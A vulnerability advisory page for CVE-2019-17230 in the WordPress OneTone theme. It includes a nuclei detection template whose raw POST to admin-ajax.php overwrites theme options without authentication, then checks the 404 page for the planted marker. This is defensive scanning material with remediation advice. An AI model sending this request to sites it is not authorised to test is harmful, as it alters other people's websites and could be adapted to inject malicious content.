WordPress OneTone theme <= 3.0.6 – Unauthenticated Options Changes

mediumseverity

5.3CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress allows unauthenticated options changes.

Impact

Unauthenticated attackers can modify WordPress theme options, potentially changing site content like 404 page messages to inject malicious content or alter site behavior.

Fix

Update the OneTone theme to version 3.0.7 or later, or switch to a different theme.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "Import successful.")
Send: GET /{{randstr}}
Positive when: status_code == 404 and contains(content_type, "text/html") and contains_all(body, "<div class=\"page-content\">","{{page}}")

Run it with nuclei: nuclei -id CVE-2019-17230 -u <target>

The full check

id: CVE-2019-17230

info:
  name: WordPress OneTone theme <= 3.0.6 – Unauthenticated Options Changes
  author: daffainfo
  severity: medium
  description: |
    includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress allows unauthenticated options changes.
  impact: |
    Unauthenticated attackers can modify WordPress theme options, potentially changing site content like 404 page messages to inject malicious content or alter site behavior.
  remediation: |
    Update the OneTone theme to version 3.0.7 or later, or switch to a different theme.
  reference:
    - https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html
    - https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17230
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-17230
    epss-score: 0.02392
    epss-percentile: 0.84111
    cpe: cpe:2.3:a:mageewp:onetone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mageewp
    product: onetone
    framework: wordpress
    publicwww-query: "/wp-content/themes/onetone"
  tags: cve,cve2019,wordpress,wp-theme,wp,onetone,vkev,vuln

flow: http(1) && http(2)

variables:
  page: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=onetone_options_import&options={"content_404":"{{page}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Import successful.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<div class=\"page-content\">","{{page}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from